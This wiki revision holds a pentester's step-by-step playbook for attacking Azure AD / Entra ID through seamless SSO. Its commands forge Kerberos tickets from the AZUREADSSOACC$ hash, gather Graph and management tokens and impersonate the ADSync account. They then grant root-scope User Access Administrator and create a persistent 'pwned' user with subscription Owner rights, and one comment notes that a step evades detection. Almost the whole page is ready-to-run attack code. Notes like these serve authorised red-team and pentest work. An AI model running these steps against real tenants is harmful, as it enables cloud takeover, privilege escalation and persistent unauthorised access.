Handbook III - Cloud: Difference between revisions
From Wiki Aghanim
Jump to navigationJump to search
| Line 144: | Line 144: | ||
https://trustedsec.com/blog/azure-ad-kerberos-tickets-pivoting-to-the-cloud | [https://trustedsec.com/blog/azure-ad-kerberos-tickets-pivoting-to-the-cloud Source] | ||
Revision as of 08:44, 26 May 2026
Entra ID (Azure)
Certification: Attacking & Defending Azure Cloud: Beginner's Edition (CARTP) (alteredsecurity.com)
Microsoft Entra ID on Microsoft Learn | Microsoft Learn
- How to use Graph API for C2 communication
Azure AD Kerberos SSO Attack — Pentest Notes
Prerequisites
- Domain Admin / DC access
AZUREADSSOACC$NTLM hash extracted via SecretsDump- Target account SID (synced to Azure AD, preferably no MFA/Conditional Access)
- Tools: AADInternals, ROADtools, SecretsDump, rpcclient
Tool Installation
Install-Module -Name "AADInternals"
Install-Module -Name "AADInternals-Endpoints"
Import-Module -Name "AADInternals"
pip install roadrecon --break-system-packages
Step 1 — Confirm SSO Enabled
Invoke-AADIntReconAsOutsider -Domain domain.com | Format-Table
# Look for DesktopSSO: True
Step 2 — Enumerate Accounts via rpcclient
# If you don't have BloodHound data, enumerate the user via rpcclient. Usually, this does not get detected by defender for identity.
rpcclient -U "domain/user%password" <DC_IP>
enumdomusers
lookupnames <username>
Step 3 — Forge Kerberos Ticket
# NTLM hash = NT part only (32 chars after last colon from SecretsDump)
# SID format must be full: S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-XXXX
# Use SID for a user that is synced between Azure AD and local Active Directory.
$kerberos = New-AADIntKerberosTicket -SidString "<AD_SID>" -Hash "<NTLM_Hash>"
Step 4 — Get Access Tokens
Important: each tool needs a different token audience
| Tool | Audience | AADInternals Command |
|---|---|---|
| roadrecon gather | https://graph.windows.net |
Get-AADIntAccessTokenForAADGraph
|
| Connect-MgGraph / Get-MgUser | https://graph.microsoft.com |
Get-AADIntAccessTokenForMSGraph
|
| Azure Core Management | https://management.core.windows.net/ |
Get-AADIntAccessTokenForAzureCoreManagement
|
# Get all three and save to cache
Get-AADIntAccessTokenForAADGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache
Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache
Get-AADIntAccessTokenForAzureCoreManagement -KerberosTicket $kerberos -Domain domain.com -SaveToCache
Step 5 — Enumerate Azure AD with ROADrecon
roadrecon auth --access-token <AADGraph_token>
roadrecon gather -f .roadtools_auth
roadrecon gui # Web UI on port 5000 — ensure attack box is not on public IP
Step 6 — Connect Microsoft Graph & Check Context
# Connect using MSGraph token
$mgToken = Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos -Domain domain.com
Connect-MgGraph -AccessToken (ConvertTo-SecureString $mgToken -AsPlainText -Force)
# Check current session context and user
$me = Get-MgContext
Write-Output $me
# List all scopes/permissions granted to the token
(Get-MgContext).Scopes
Step 7 — Check Token Permissions
# Decode token — check scp, roles, wids, aud, upn claims
Read-AADIntAccessToken -AccessToken <token>
Decode at jwt.ms for a clean readable view.
| Claim | Meaning |
|---|---|
scp |
Delegated scopes e.g. Directory.Read.All |
roles |
Application role assignments |
wids |
Directory role GUIDs (Global Admin etc.) |
aud |
Which API this token is valid for |
upn |
Which user this token belongs to |
Step 8 — Escalate to Global Admin
# Impersonate ADSync account (high value — has directory sync rights by design)
$kerberos = New-AADIntKerberosTicket -SidString "<ADSync_SID>" -Hash "<NTLM_Hash>"
Get-AADIntAccessTokenForAADGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache
Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache
Get-AADIntAccessTokenForAzureCoreManagement -KerberosTicket $kerberos -Domain domain.com -SaveToCache
# Elevate to User Access Administrator at root scope
Grant-AADIntAzureUserAccessAdminRole
# Verify subscription access
Get-AADIntAzureSubscriptions
Step 9 — Create Persistent Cloud User
# Note the ObjectID in the output
New-AADIntUser -UserPrincipalName pwned.user@domain.com -DisplayName "pwned user"
# Assign subscription ownership
$subScope = "subscriptions/<subscription_id>"
New-AzRoleAssignment -ObjectID <ObjectID> -RoleDefinitionName "Owner" -Scope $subScope